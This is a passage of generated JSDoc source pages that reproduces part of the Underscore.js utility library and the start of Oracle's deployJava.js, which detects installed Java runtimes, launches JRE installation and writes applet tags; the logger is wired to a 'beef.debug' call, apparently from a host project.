    return obj;
  };

  // Create a (shallow-cloned) duplicate of an object.
  _.clone = function(obj) {
    if (!_.isObject(obj)) return obj;
    return _.isArray(obj) ? obj.slice() : _.extend({}, obj);
  };

  // Invokes interceptor with the obj, and then returns obj.
  // The primary purpose of this method is to "tap into" a method chain, in
  // order to perform operations on intermediate results within the chain.
  _.tap = function(obj, interceptor) {
    interceptor(obj);
    return obj;
  };

  // Internal recursive comparison function.
  function eq(a, b, stack) {
    // Identical objects are equal. `0 === -0`, but they aren't identical.
    // See the Harmony `egal` proposal: http://wiki.ecmascript.org/doku.php?id=harmony:egal.
    if (a === b) return a !== 0 || 1 / a == 1 / b;
    // A strict comparison is necessary because `null == undefined`.
    if (a == null || b == null) return a === b;
    // Unwrap any wrapped objects.
    if (a._chain) a = a._wrapped;
    if (b._chain) b = b._wrapped;
    // Invoke a custom `isEqual` method if one is provided.
    if (a.isEqual && _.isFunction(a.isEqual)) return a.isEqual(b);
    if (b.isEqual && _.isFunction(b.isEqual)) return b.isEqual(a);
    // Compare `[[Class]]` names.
    var className = toString.call(a);
    if (className != toString.call(b)) return false;
    switch (className) {
      // Strings, numbers, dates, and booleans are compared by value.
      case '[object String]':
        // Primitives and their corresponding object wrappers are equivalent; thus, `"5"` is
        // equivalent to `new String("5")`.
        return a == String(b);
      case '[object Number]':
        // `NaN`s are equivalent, but non-reflexive. An `egal` comparison is performed for
        // other numeric values.
        return a != +a ? b != +b : (a == 0 ? 1 / a == 1 / b : a == +b);
      case '[object Date]':
      case '[object Boolean]':
        // Coerce dates and booleans to numeric primitive values. Dates are compared by their
        // millisecond representations. Note that invalid dates with millisecond representations
        // of `NaN` are not equivalent.
        return +a == +b;
      // RegExps are compared by their source patterns and flags.
      case '[object RegExp]':
        return a.source == b.source &&
               a.global == b.global &&
               a.multiline == b.multiline &&
               a.ignoreCase == b.ignoreCase;
    }
    if (typeof a != 'object' || typeof b != 'object') return false;
    // Assume equality for cyclic structures. The algorithm for detecting cyclic
    // structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`.
    var length = stack.length;
    while (length--) {
      // Linear search. Performance is inversely proportional to the number of
      // unique nested structures.
      if (stack[length] == a) return true;
    }
    // Add the first object to the stack of traversed objects.
    stack.push(a);
    var size = 0, result = true;
    // Recursively compare objects and arrays.
    if (className == '[object Array]') {
      // Compare array lengths to determine if a deep comparison is necessary.
      size = a.length;
      result = size == b.length;
      if (result) {
        // Deep compare the contents, ignoring non-numeric properties.
        while (size--) {
          // Ensure commutative equality for sparse arrays.
          if (!(result = size in a == size in b && eq(a[size], b[size], stack))) break;
        }
      }
    } else {
      // Objects with different constructors are not equivalent.
      if ('constructor' in a != 'constructor' in b || a.constructor != b.constructor) return false;
      // Deep compare objects.
      for (var key in a) {
        if (_.has(a, key)) {
          // Count the expected number of properties.
          size++;
          // Deep compare each member.
          if (!(result = _.has(b, key) && eq(a[key], b[key], stack))) break;
        }
      }
      // Ensure that both objects contain the same number of properties.
      if (result) {
        for (key in b) {
          if (_.has(b, key) && !(size--)) break;
        }
        result = !size;
      }
    }
    // Remove the first object from the stack of traversed objects.
    stack.pop();
    return result;
  }

  // Perform a deep comparison to check if two objects are equal.
  _.isEqual = function(a, b) {
    return eq(a, b, []);
  };

  // Is a given array, string, or object empty?
  // An "empty" object has no enumerable own-properties.
  _.isEmpty = function(obj) {
    if (obj == null) return true;
    if (_.isArray(obj) || _.isString(obj)) return obj.length === 0;
    for (var key in obj) if (_.has(obj, key)) return false;
    return true;
  };

  // Is a given value a DOM element?
  _.isElement = function(obj) {
    return !!(obj && obj.nodeType == 1);
  };

  // Is a given value an array?
  // Delegates to ECMA5's native Array.isArray
  _.isArray = nativeIsArray || function(obj) {
    return toString.call(obj) == '[object Array]';
  };

  // Is a given variable an object?
  _.isObject = function(obj) {
    return obj === Object(obj);
  };

  // Is a given variable an arguments object?
  _.isArguments = function(obj) {
    return toString.call(obj) == '[object Arguments]';
  };
  if (!_.isArguments(arguments)) {
    _.isArguments = function(obj) {
      return !!(obj && _.has(obj, 'callee'));
    };
  }

  // Is a given value a function?
  _.isFunction = function(obj) {
    return toString.call(obj) == '[object Function]';
  };

  // Is a given value a string?
  _.isString = function(obj) {
    return toString.call(obj) == '[object String]';
  };

  // Is a given value a number?
  _.isNumber = function(obj) {
    return toString.call(obj) == '[object Number]';
  };

  // Is a given object a finite number?
  _.isFinite = function(obj) {
    return _.isNumber(obj) && isFinite(obj);
  };

  // Is the given value `NaN`?
  _.isNaN = function(obj) {
    // `NaN` is the only value for which `===` is not reflexive.
    return obj !== obj;
  };

  // Is a given value a boolean?
  _.isBoolean = function(obj) {
    return obj === true || obj === false || toString.call(obj) == '[object Boolean]';
  };

  // Is a given value a date?
  _.isDate = function(obj) {
    return toString.call(obj) == '[object Date]';
  };

  // Is the given value a regular expression?
  _.isRegExp = function(obj) {
    return toString.call(obj) == '[object RegExp]';
  };

  // Is a given value equal to null?
  _.isNull = function(obj) {
    return obj === null;
  };

  // Is a given variable undefined?
  _.isUndefined = function(obj) {
    return obj === void 0;
  };

  // Has own property?
  _.has = function(obj, key) {
    return hasOwnProperty.call(obj, key);
  };

  // Utility Functions
  // -----------------

  // Run Underscore.js in *noConflict* mode, returning the `_` variable to its
  // previous owner. Returns a reference to the Underscore object.
  _.noConflict = function() {
    root._ = previousUnderscore;
    return this;
  };

  // Keep the identity function around for default iterators.
  _.identity = function(value) {
    return value;
  };

  // Run a function **n** times.
  _.times = function (n, iterator, context) {
    for (var i = 0; i < n; i++) iterator.call(context, i);
  };

  // Escape a string for HTML interpolation.
  _.escape = function(string) {
    return (''+string).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&#x27;').replace(/\//g,'&#x2F;');
  };

  // If the value of the named property is a function then invoke it;
  // otherwise, return it.
  _.result = function(object, property) {
    if (object == null) return null;
    var value = object[property];
    return _.isFunction(value) ? value.call(object) : value;
  };

  // Add your own custom functions to the Underscore object, ensuring that
  // they're correctly added to the OOP wrapper as well.
  _.mixin = function(obj) {
    each(_.functions(obj), function(name){
      addToWrapper(name, _[name] = obj[name]);
    });
  };

  // Generate a unique integer id (unique within the entire client session).
  // Useful for temporary DOM ids.
  var idCounter = 0;
  _.uniqueId = function(prefix) {
    var id = idCounter++;
    return prefix ? prefix + id : id;
  };

  // By default, Underscore uses ERB-style template delimiters, change the
  // following template settings to use alternative delimiters.
  _.templateSettings = {
    evaluate    : /<%([\s\S]+?)%>/g,
    interpolate : /<%=([\s\S]+?)%>/g,
    escape      : /<%-([\s\S]+?)%>/g
  };

  // When customizing `templateSettings`, if you don't want to define an
  // interpolation, evaluation or escaping regex, we need one that is
  // guaranteed not to match.
  var noMatch = /.^/;

  // Certain characters need to be escaped so that they can be put into a
  // string literal.
  var escapes = {
    '\\': '\\',
    "'": "'",
    'r': '\r',
    'n': '\n',
    't': '\t',
    'u2028': '\u2028',
    'u2029': '\u2029'
  };

  for (var p in escapes) escapes[escapes[p]] = p;
  var escaper = /\\|'|\r|\n|\t|\u2028|\u2029/g;
  var unescaper = /\\(\\|'|r|n|t|u2028|u2029)/g;

  // Within an interpolation, evaluation, or escaping, remove HTML escaping
  // that had been previously added.
  var unescape = function(code) {
    return code.replace(unescaper, function(match, escape) {
      return escapes[escape];
    });
  };

  // JavaScript micro-templating, similar to John Resig's implementation.
  // Underscore templating handles arbitrary delimiters, preserves whitespace,
  // and correctly escapes quotes within interpolated code.
  _.template = function(text, data, settings) {
    settings = _.defaults(settings || {}, _.templateSettings);

    // Compile the template source, taking care to escape characters that
    // cannot be included in a string literal and then unescape them in code
    // blocks.
    var source = "__p+='" + text
      .replace(escaper, function(match) {
        return '\\' + escapes[match];
      })
      .replace(settings.escape || noMatch, function(match, code) {
        return "'+\n_.escape(" + unescape(code) + ")+\n'";
      })
      .replace(settings.interpolate || noMatch, function(match, code) {
        return "'+\n(" + unescape(code) + ")+\n'";
      })
      .replace(settings.evaluate || noMatch, function(match, code) {
        return "';\n" + unescape(code) + "\n;__p+='";
      }) + "';\n";

    // If a variable is not specified, place data values in local scope.
    if (!settings.variable) source = 'with(obj||{}){\n' + source + '}\n';

    source = "var __p='';" +
      "var print=function(){__p+=Array.prototype.join.call(arguments, '')};\n" +
      source + "return __p;\n";

    var render = new Function(settings.variable || 'obj', '_', source);
    if (data) return render(data, _);
    var template = function(data) {
      return render.call(this, data, _);
    };

    // Provide the compiled function source as a convenience for build time
    // precompilation.
    template.source = 'function(' + (settings.variable || 'obj') + '){\n' +
      source + '}';

    return template;
  };

  // Add a "chain" function, which will delegate to the wrapper.
  _.chain = function(obj) {
    return _(obj).chain();
  };

  // The OOP Wrapper
  // ---------------

  // If Underscore is called as a function, it returns a wrapped object that
  // can be used OO-style. This wrapper holds altered versions of all the
  // underscore functions. Wrapped objects may be chained.
  var wrapper = function(obj) { this._wrapped = obj; };

  // Expose `wrapper.prototype` as `_.prototype`
  _.prototype = wrapper.prototype;

  // Helper function to continue chaining intermediate results.
  var result = function(obj, chain) {
    return chain ? _(obj).chain() : obj;
  };

  // A method to easily add functions to the OOP wrapper.
  var addToWrapper = function(name, func) {
    wrapper.prototype[name] = function() {
      var args = slice.call(arguments);
      unshift.call(args, this._wrapped);
      return result(func.apply(_, args), this._chain);
    };
  };

  // Add all of the Underscore functions to the wrapper object.
  _.mixin(_);

  // Add all mutator Array functions to the wrapper.
  each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) {
    var method = ArrayProto[name];
    wrapper.prototype[name] = function() {
      var wrapped = this._wrapped;
      method.apply(wrapped, arguments);
      var length = wrapped.length;
      if ((name == 'shift' || name == 'splice') && length === 0) delete wrapped[0];
      return result(wrapped, this._chain);
    };
  });

  // Add all accessor Array functions to the wrapper.
  each(['concat', 'join', 'slice'], function(name) {
    var method = ArrayProto[name];
    wrapper.prototype[name] = function() {
      return result(method.apply(this._wrapped, arguments), this._chain);
    };
  });

  // Start chaining a wrapped Underscore object.
  wrapper.prototype.chain = function() {
    this._chain = true;
    return this;
  };

  // Extracts the result from a wrapped and chained object.
  wrapper.prototype.value = function() {
    return this._wrapped;
  };

}).call(this);

});

Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/lib_deployJava.js.html ================================================ JSDoc: Source: lib/deployJava.js

Source: lib/deployJava.js

/*
 * Copyright (c) 2006, 2012, Oracle and/or its affiliates. All rights reserved.
 * ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 *   - Redistributions of source code must retain the above copyright
 *     notice, this list of conditions and the following disclaimer.
 *
 *   - Redistributions in binary form must reproduce the above copyright
 *     notice, this list of conditions and the following disclaimer in the
 *     documentation and/or other materials provided with the distribution.
 *
 *   - Neither the name of Oracle nor the names of its
 *     contributors may be used to endorse or promote products derived
 *     from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
 * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
 * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
 * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR
 * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
 * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
 * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
 * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
 * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
 * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
 * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

/*
 * deployJava.js
 *
 * This file is part of the Deployment Toolkit.  It provides functions for web
 * pages to detect the presence of a JRE, install the latest JRE, and easily run
 * applets or Web Start programs.  More Information on usage of the
 * Deployment Toolkit can be found in the Deployment Guide at:
 * http://docs.oracle.com/javase/6/docs/technotes/guides/jweb/index.html
 *
 * The "live" copy of this file may be found at :
 * http://java.com/js/deployJava.js.
 * For web pages provisioned using https, you may want to access the copy at:
 * https://java.com/js/deployJava.js.
 *
 * You are encouraged to link directly to the live copies.
 * The above files are stripped of comments and whitespace for performance,
 * You can access this file w/o the whitespace and comments removed at:
 * http://java.com/js/deployJava.txt.
 *
 */

var deployJava = function() {
    /** HTML attribute filter implementation */
    var hattrs = {
        core: [ 'id', 'class', 'title', 'style' ],
        i18n: [ 'lang', 'dir' ],
        events: [ 'onclick', 'ondblclick', 'onmousedown', 'onmouseup',
            'onmouseover', 'onmousemove', 'onmouseout', 'onkeypress',
            'onkeydown', 'onkeyup' ],
        applet: [ 'codebase', 'code', 'name', 'archive', 'object',
            'width', 'height', 'alt', 'align', 'hspace', 'vspace' ],
        object: [ 'classid', 'codebase', 'codetype', 'data', 'type',
            'archive', 'declare', 'standby', 'height', 'width', 'usemap',
            'name', 'tabindex', 'align', 'border', 'hspace', 'vspace' ]
    };

    var object_valid_attrs = hattrs.object.concat(hattrs.core, hattrs.i18n,
        hattrs.events);
    var applet_valid_attrs = hattrs.applet.concat(hattrs.core);

    // generic log function
    function log(message) {
        if ( ! rv.debug ) {return};
        beef.debug(message);
    }

    //checks where given version string matches query
    //
    //NB: assume format is correct. Can add format check later if needed
    // from dtjava.js
    function versionCheckEx(query, version) {
        if (query == null || query.length == 0) return true;

        var c = query.charAt(query.length - 1);

        //if it is not explicit pattern but does not have update version then need to append *
        if (c != '+' && c != '*' && (query.indexOf('_') != -1 && c != '_')) {
            query = query + "*";
            c = '*';
        }

        query = query.substring(0, query.length - 1);
        //if query ends with ".", "_" then we want to strip it to allow match of "1.6.*" to shorter form such as "1.6"
        //TODO: add support for match of "1.7.0*" to "1.7"?
        if (query.length > 0) {
            var z = query.charAt(query.length - 1);
            if (z == '.' || z == '_') {
                query = query.substring(0, query.length - 1);
            }
        }
        if (c == '*') {
            //it is match if version starts from it
            return (version.indexOf(query) == 0);
        } else if (c == '+') {
            //match if query string is lexicographically smaller
            return query <= version;
        }
        return false;
    }

    function getWebStartLaunchIconURL() {
        var imageUrl = '//java.com/js/webstart.png';
        try {
            // for http/https; use protocol less url; use http for all other protocol
            return document.location.protocol.indexOf('http') != -1 ?
                imageUrl : 'http:' + imageUrl;
        } catch (err) {
            return 'http:' + imageUrl;
        }
    }

    // GetJava page
    function constructGetJavaURL(query) {

        var getJavaURL = 'http://java.com/dt-redirect';

        if (query == null || query.length == 0) return getJavaURL;
        if(query.charAt(0) == '&')
        {
            query = query.substring(1, query.length);
        }
        return getJavaURL + '?'+  query;
    }

    function arHas(ar, attr) {
        var len = ar.length;
        for (var i = 0; i < len; i++) {
            if (ar[i] === attr) return true;
        }
        return false;
    }

    function isValidAppletAttr(attr) {
        return arHas(applet_valid_attrs, attr.toLowerCase());
    }

    function isValidObjectAttr(attr) {
        return arHas(object_valid_attrs, attr.toLowerCase());
    }

    /**
     * returns true if we can enable DT plugin auto-install without chance of
     * deadlock on cert mismatch dialog
     *
     * requestedJREVersion param is optional - if null, it will be
     * treated as installing any JRE version
     *
     * DT plugin for 6uX only knows about JRE installer signed by SUN cert.
     * If it encounter Oracle signed JRE installer, it will have chance of
     * deadlock when running with IE.  This function is to guard against this.
     */
    function enableWithoutCertMisMatchWorkaround(requestedJREVersion) {

        // Non-IE browser are okay
        if ('MSIE' != deployJava.browserName) return true;

        // if DT plugin is 10.0.0 or above, return true
        // This is because they are aware of both SUN and Oracle signature and
        // will not show cert mismatch dialog that might cause deadlock
        if (deployJava.compareVersionToPattern(deployJava.getPlugin().version,
            ["10", "0", "0"], false, true)) {
            return true;
        }

        // If we got there, DT plugin is 6uX

        if (requestedJREVersion  == null) {
            // if requestedJREVersion is not defined - it means ANY.
            // can not guarantee it is safe to install ANY version because 6uX
            // DT does not know about Oracle certificates and may deadlock
            return false;
        }

        // 6u32 or earlier JRE installer used Sun certificate
        // 6u33+ uses Oracle's certificate
        // DT in JRE6 does not know about Oracle certificate => can only
        // install 6u32 or earlier without risk of deadlock
        return !versionCheckEx("1.6.0_33+", requestedJREVersion);
    }

    /* HTML attribute filters */

    var rv = {

        debug: null,

        /* version of deployJava.js */
        version: "20120801",

        firefoxJavaVersion: null,

        myInterval: null,
        preInstallJREList: null,
        returnPage: null,
        brand: null,
        locale: null,
        installType: null,

        EAInstallEnabled: false,
        EarlyAccessURL: null,


        // mime-type of the DeployToolkit plugin object
        oldMimeType: 'application/npruntime-scriptable-plugin;DeploymentToolkit',
        mimeType: 'application/java-deployment-toolkit',

        /* location of the Java Web Start launch button graphic is right next to
         * deployJava.js at:
         *    http://java.com/js/webstart.png
         *
         * Use protocol less url here for http/https support
         */
        launchButtonPNG: getWebStartLaunchIconURL(),

        browserName: null,
        browserName2: null,

        /**
         * Returns an array of currently-installed JRE version strings.
         * Version strings are of the form #.#[.#[_#]], with the function returning
         * as much version information as it can determine, from just family
         * versions ("1.4.2", "1.5") through the full version ("1.5.0_06").
         *
         * Detection is done on a best-effort basis.  Under some circumstances
         * only the highest installed JRE version will be detected, and
         * JREs older than 1.4.2 will not always be detected.
         */
        getJREs: function() {
            var list = new Array();
            if (this.isPluginInstalled()) {
                var plugin =  this.getPlugin();
                var VMs = plugin.jvms;
                for (var i = 0; i < VMs.getLength(); i++) {
                    list[i] = VMs.get(i).version;
                }
            } else {
                var browser = this.getBrowser();

                if (browser == 'MSIE') {
                    if (this.testUsingActiveX('1.7.0')) {
                        list[0] = '1.7.0';
                    } else if (this.testUsingActiveX('1.6.0')) {
                        list[0] = '1.6.0';
                    } else if (this.testUsingActiveX('1.5.0')) {
                        list[0] = '1.5.0';
                    } else if (this.testUsingActiveX('1.4.2')) {
                        list[0] = '1.4.2';
                    } else if (this.testForMSVM()) {
                        list[0] = '1.1';
                    }
                } else if (browser == 'Netscape Family') {
                    this.getJPIVersionUsingMimeType();
                    if (this.firefoxJavaVersion != null) {
                        list[0] = this.firefoxJavaVersion;
                    } else if (this.testUsingMimeTypes('1.7')) {
                        list[0] = '1.7.0';
                    } else if (this.testUsingMimeTypes('1.6')) {
                        list[0] = '1.6.0';
                    } else if (this.testUsingMimeTypes('1.5')) {
                        list[0] = '1.5.0';
                    } else if (this.testUsingMimeTypes('1.4.2')) {
                        list[0] = '1.4.2';
                    } else if (this.browserName2 == 'Safari') {
                        if (this.testUsingPluginsArray('1.7.0')) {
                            list[0] = '1.7.0';
                        } else if (this.testUsingPluginsArray('1.6')) {
                            list[0] = '1.6.0';
                        } else if (this.testUsingPluginsArray('1.5')) {
                            list[0] = '1.5.0';
                        } else if (this.testUsingPluginsArray('1.4.2')) {
                            list[0] = '1.4.2';
                        }
                    }
                }
            }

            if (this.debug) {
                for (var i = 0; i < list.length; ++i) {
                    log('[getJREs()] We claim to have detected Java SE ' + list[i]);
                }
            }

            return list;
        },

        /**
         * Triggers a JRE installation.  The exact effect of triggering an
         * installation varies based on platform, browser, and if the
         * Deployment Toolkit plugin is installed.
         *
         * The requestVersion string is of the form #[.#[.#[_#]]][+|*],
         * which includes strings such as "1.4", "1.5.0*", and "1.6.0_02+".
         * A star (*) means "any version starting within this family" and
         * a plus (+) means "any version greater or equal to this".
         * "1.5.0*" * matches 1.5.0_06 but not 1.6.0_01, whereas
         * "1.5.0+" matches both.
         *
         * installCallback is an optional argument which holds a reference
         * to a javascript callback function for reporting install status.
         *
         * If the Deployment Toolkit plugin is not present, this will just call
         * this.installLatestJRE().
         */
        installJRE: function(requestVersion, installCallback) {
            var ret = false;
            if (this.isPluginInstalled() &&
                this.isAutoInstallEnabled(requestVersion)) {
                var installSucceeded = false;
                if (this.isCallbackSupported()) {
                    installSucceeded =
                        this.getPlugin().installJRE(requestVersion, installCallback);
                } else {
                    installSucceeded = this.getPlugin().installJRE(requestVersion);
                }

                if (installSucceeded) {
                    this.refresh();
                    if (this.returnPage != null) {
                        document.location = this.returnPage;
                    }
                }
                return installSucceeded;
            } else {
                return this.installLatestJRE();
            }
        },

        /**
         * returns true if jre auto install for the requestedJREVersion is enabled
         * for the local system; false otherwise
         *
         * requestedJREVersion param is optional - if not specified, it will be
         * treated as installing any JRE version
         *
         * DT plugin for 6uX only knows about JRE installer signed by SUN cert.
         * If it encounter Oracle signed JRE installer, it will have chance of
         * deadlock when running with IE.  This function is to guard against this.
         */
        isAutoInstallEnabled: function(requestedJREVersion) {
            // if no DT plugin, return false
            if (!this.isPluginInstalled()) return false;

            if (typeof requestedJREVersion  == 'undefined') {
                requestedJREVersion = null;
            }

            return enableWithoutCertMisMatchWorkaround(requestedJREVersion);

        },

        /**
         * returns true if jre install callback is supported
         * callback support is added since dt plugin version 10.2.0 or above
         */
        isCallbackSupported: function() {
            return this.isPluginInstalled() &&
                this.compareVersionToPattern(this.getPlugin().version,
                    ["10", "2", "0"], false, true);
        },

        /**
         * Triggers a JRE installation.  The exact effect of triggering an
         * installation varies based on platform, browser, and if the
         * Deployment Toolkit plugin is installed.
         *
         * In the simplest case, the browser window will be redirected to the
         * java.com JRE installation page, and (if possible) a redirect back to
         * the current URL upon successful installation.  The return redirect is
         * not always possible, as the JRE installation may require the browser to
         * be restarted.
         *
         * installCallback is an optional argument which holds a reference
         * to a javascript callback function for reporting install status.
         *
         * In the best case (when the Deployment Toolkit plugin is present), this
         * function will immediately cause a progress dialog to be displayed
         * as the JRE is downloaded and installed.
         */
        installLatestJRE: function(installCallback) {
            if (this.isPluginInstalled() && this.isAutoInstallEnabled()) {
                var installSucceeded = false;
                if (this.isCallbackSupported()) {
                    installSucceeded = this.getPlugin().installLatestJRE(installCallback);
                } else {
                    installSucceeded = this.getPlugin().installLatestJRE();
                }
                if (installSucceeded) {
                    this.refresh();
                    if (this.returnPage != null) {
                        document.location = this.returnPage;
                    }
                }
                return installSucceeded;
            } else {
                var browser = this.getBrowser();
                var platform = navigator.platform.toLowerCase();
                if ((this.EAInstallEnabled == 'true') &&
                    (platform.indexOf('win') != -1) &&
                    (this.EarlyAccessURL != null)) {

                    this.preInstallJREList = this.getJREs();
                    if (this.returnPage != null) {
                        this.myInterval =
                            setInterval("deployJava.poll()", 3000);
                    }

                    location.href = this.EarlyAccessURL;

                    // we have to return false although there may be an install
                    // in progress now, when complete it may go to return page
                    return false;
                } else {
                    if (browser == 'MSIE') {
                        return this.IEInstall();
                    } else if ((browser == 'Netscape Family') &&
                        (platform.indexOf('win32') != -1)) {
                        return this.FFInstall();
                    } else {
                        location.href = constructGetJavaURL(
                            ((this.returnPage != null) ?
                                ('&returnPage=' + this.returnPage) : '') +
                                ((this.locale != null) ?
                                    ('&locale=' + this.locale) : '') +
                                ((this.brand != null) ?
                                    ('&brand=' + this.brand) : ''));
                    }
                    // we have to return false although there may be an install
                    // in progress now, when complete it may go to return page
                    return false;
                }
            }
        },


        /**
         * Ensures that an appropriate JRE is installed and then runs an applet.
         * minimumVersion is of the form #[.#[.#[_#]]], and is the minimum
         * JRE version necessary to run this applet.  minimumVersion is optional,
         * defaulting to the value "1.1" (which matches any JRE).
         * If an equal or greater JRE is detected, runApplet() will call
         * writeAppletTag(attributes, parameters) to output the applet tag,
         * otherwise it will call installJRE(minimumVersion + '+').
         *
         * After installJRE() is called, the script will attempt to detect that the
         * JRE installation has completed and begin running the applet, but there
         * are circumstances (such as when the JRE installation requires a browser
         * restart) when this cannot be fulfilled.
         *
         * As with writeAppletTag(), this function should only be called prior to
         * the web page being completely rendered.  Note that version wildcards
         * (star (*) and plus (+)) are not supported, and including them in the
         * minimumVersion will result in an error message.
         */
        runApplet: function(attributes, parameters, minimumVersion) {
            if (minimumVersion == 'undefined' || minimumVersion == null) {
                minimumVersion = '1.1';
            }

            var regex = "^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$";

            var matchData = minimumVersion.match(regex);

            if (this.returnPage == null) {
                // if there is an install, come back here and run the applet
                this.returnPage = document.location;
            }

            if (matchData != null) {
                var browser = this.getBrowser();
                if (browser != '?') {
                    if (this.versionCheck(minimumVersion + '+')) {
                        this.writeAppletTag(attributes, parameters);
                    } else if (this.installJRE(minimumVersion + '+')) {
                        // after successful install we need to refresh page to pick
                        // pick up new plugin
                        this.refresh();
                        location.href = document.location;
                        this.writeAppletTag(attributes, parameters);
                    }
                } else {
                    // for unknown or Safari - just try to show applet
                    this.writeAppletTag(attributes, parameters);
                }
            } else {
                log('[runApplet()] Invalid minimumVersion argument to runApplet():' +
                    minimumVersion);
            }
        },


        /**
         * Outputs an applet tag with the specified attributes and parameters, where
         * both attributes and parameters are associative arrays.  Each key/value
         * pair in attributes becomes an attribute of the applet tag itself, while
         * key/value pairs in parameters become <PARAM> tags.  No version checking
         * or other special behaviors are performed; the tag is simply written to
         * the page using document.writeln().
         *
         * As document.writeln() is generally only safe to use while the page is
         * being rendered, you should never call this function after the page
         * has been completed.
         */
        writeAppletTag: function(attributes, parameters) {
            var startApplet = '<' + 'applet ';
            var params = '';
            var endApplet = '<' + '/' + 'applet' + '>';
            var addCodeAttribute = true;

            if (null == parameters || typeof parameters != 'object') {
                parameters = new Object();
            }

            for (var attribute in attributes) {
                if (! isValidAppletAttr(attribute)) {
                    parameters[attribute] = attributes[attribute];
                } else {
                    startApplet += (' ' +attribute+ '="' +attributes[attribute] + '"');
                    if (attribute == 'code') {
                        addCodeAttribute = false;
                    }
                }
            }

            var codebaseParam = false;
            for (var parameter in parameters) {
                if (parameter == 'codebase_lookup') {
                    codebaseParam = true;
                }
                // Originally, parameter 'object' was used for serialized
                // applets, later, to avoid confusion with object tag in IE
                // the 'java_object' was added.  Plugin supports both.
                if (parameter == 'object' || parameter == 'java_object' ||
                    parameter == 'java_code' ) {
                    addCodeAttribute = false;
                }
                params += '<param name="' + parameter + '" value="' +
                    parameters[parameter] + '"/>';
            }
            if (!codebaseParam) {
                params += '<param name="codebase_lookup" value="false"/>';
            }

            if (addCodeAttribute) {
                startApplet += (' code="dummy"');
            }
            startApplet += '>';

            document.write(startApplet + '\n' + params + '\n' + endApplet);
        },


        /**
         * Returns true if there is a matching JRE version currently installed
         * (among those detected by getJREs()).  The versionPattern string is
         * of the form #[.#[.#[_#]]][+|*], which includes strings such as "1.4",
         * "1.5.0*", and "1.6.0_02+".
         * A star (*) means "any version within this family" and a plus (+) means
         * "any version greater or equal to the specified version".  "1.5.0*"
         * matches 1.5.0_06 but not 1.6.0_01, whereas "1.5.0+" matches both.
         *
         * If the versionPattern does not include all four version components
         * but does not end with a star or plus, it will be treated as if it
         * ended with a star.  "1.5" is exactly equivalent to "1.5*", and will
         * match any version number beginning with "1.5".
         *
         * If getJREs() is unable to detect the precise version number, a match
         * could be ambiguous.  For example if getJREs() detects "1.5", there is
         * no way to know whether the JRE matches "1.5.0_06+".  versionCheck()
         * compares only as much of the version information as could be detected,
         * so versionCheck("1.5.0_06+") would return true in in this case.
         *
         * Invalid versionPattern will result in a JavaScript error alert.
         * versionPatterns which are valid but do not match any existing JRE
         * release (e.g. "32.65+") will always return false.
         */
        versionCheck: function(versionPattern)
        {
            var index = 0;
            var regex = "^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?(\\*|\\+)?$";

            var matchData = versionPattern.match(regex);

            if (matchData != null) {
                // default is exact version match
                // examples:
                //    local machine has 1.7.0_04 only installed
                //    exact match request is "1.7.0_05":  return false
                //    family match request is "1.7.0*":   return true
                //    minimum match request is "1.6+":    return true
                var familyMatch = false;
                var minMatch = false;

                var patternArray = new Array();

                for (var i = 1; i < matchData.length; ++i) {
                    // browser dependency here.
                    // Fx sets 'undefined', IE sets '' string for unmatched groups
                    if ((typeof matchData[i] == 'string') && (matchData[i] != '')) {
                        patternArray[index] = matchData[i];
                        index++;
                    }
                }

                if (patternArray[patternArray.length-1] == '+') {
                    // + specified in request - doing a minimum match
                    minMatch = true;
                    familyMatch = false;
                    patternArray.length--;
                } else if (patternArray[patternArray.length-1] == '*') {
                    // * specified in request - doing a family match
                    minMatch = false;
                    familyMatch = true;
                    patternArray.length--;
                } else if (patternArray.length < 4) {
                    // versionPattern does not include all four version components
                    // and does not end with a star or plus, it will be treated as
                    // if it ended with a star. (family match)
                    minMatch = false;
                    familyMatch = true;
                }

                var list = this.getJREs();
                for (var i = 0; i < list.length; ++i) {
                    if (this.compareVersionToPattern(list[i], patternArray,
                        familyMatch, minMatch)) {
                        return true;
                    }
                }

                return false;
            } else {
                var msg = 'Invalid versionPattern passed to versionCheck: ' +
                    versionPattern;
                log('[versionCheck()] ' + msg);
                alert(msg);
                return false;
            }
        },


        /**
         * Returns true if an installation of Java Web Start of the specified
         * minimumVersion can be detected.  minimumVersion is optional, and
         * if not specified, '1.4.2' will be used.
         * (Versions earlier than 1.4.2 may not be detected.)
         */
        isWebStartInstalled: function(minimumVersion) {

            var browser = this.getBrowser();
            if (browser == '?') {
                // we really don't know - better to try to use it than reinstall
                return true;
            }

            if (minimumVersion == 'undefined' || minimumVersion == null) {
                minimumVersion = '1.4.2';
            }

            var retval = false;
            var regex = "^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$";
            var matchData = minimumVersion.match(regex);

            if (matchData != null) {
                retval = this.versionCheck(minimumVersion + '+');
            } else {
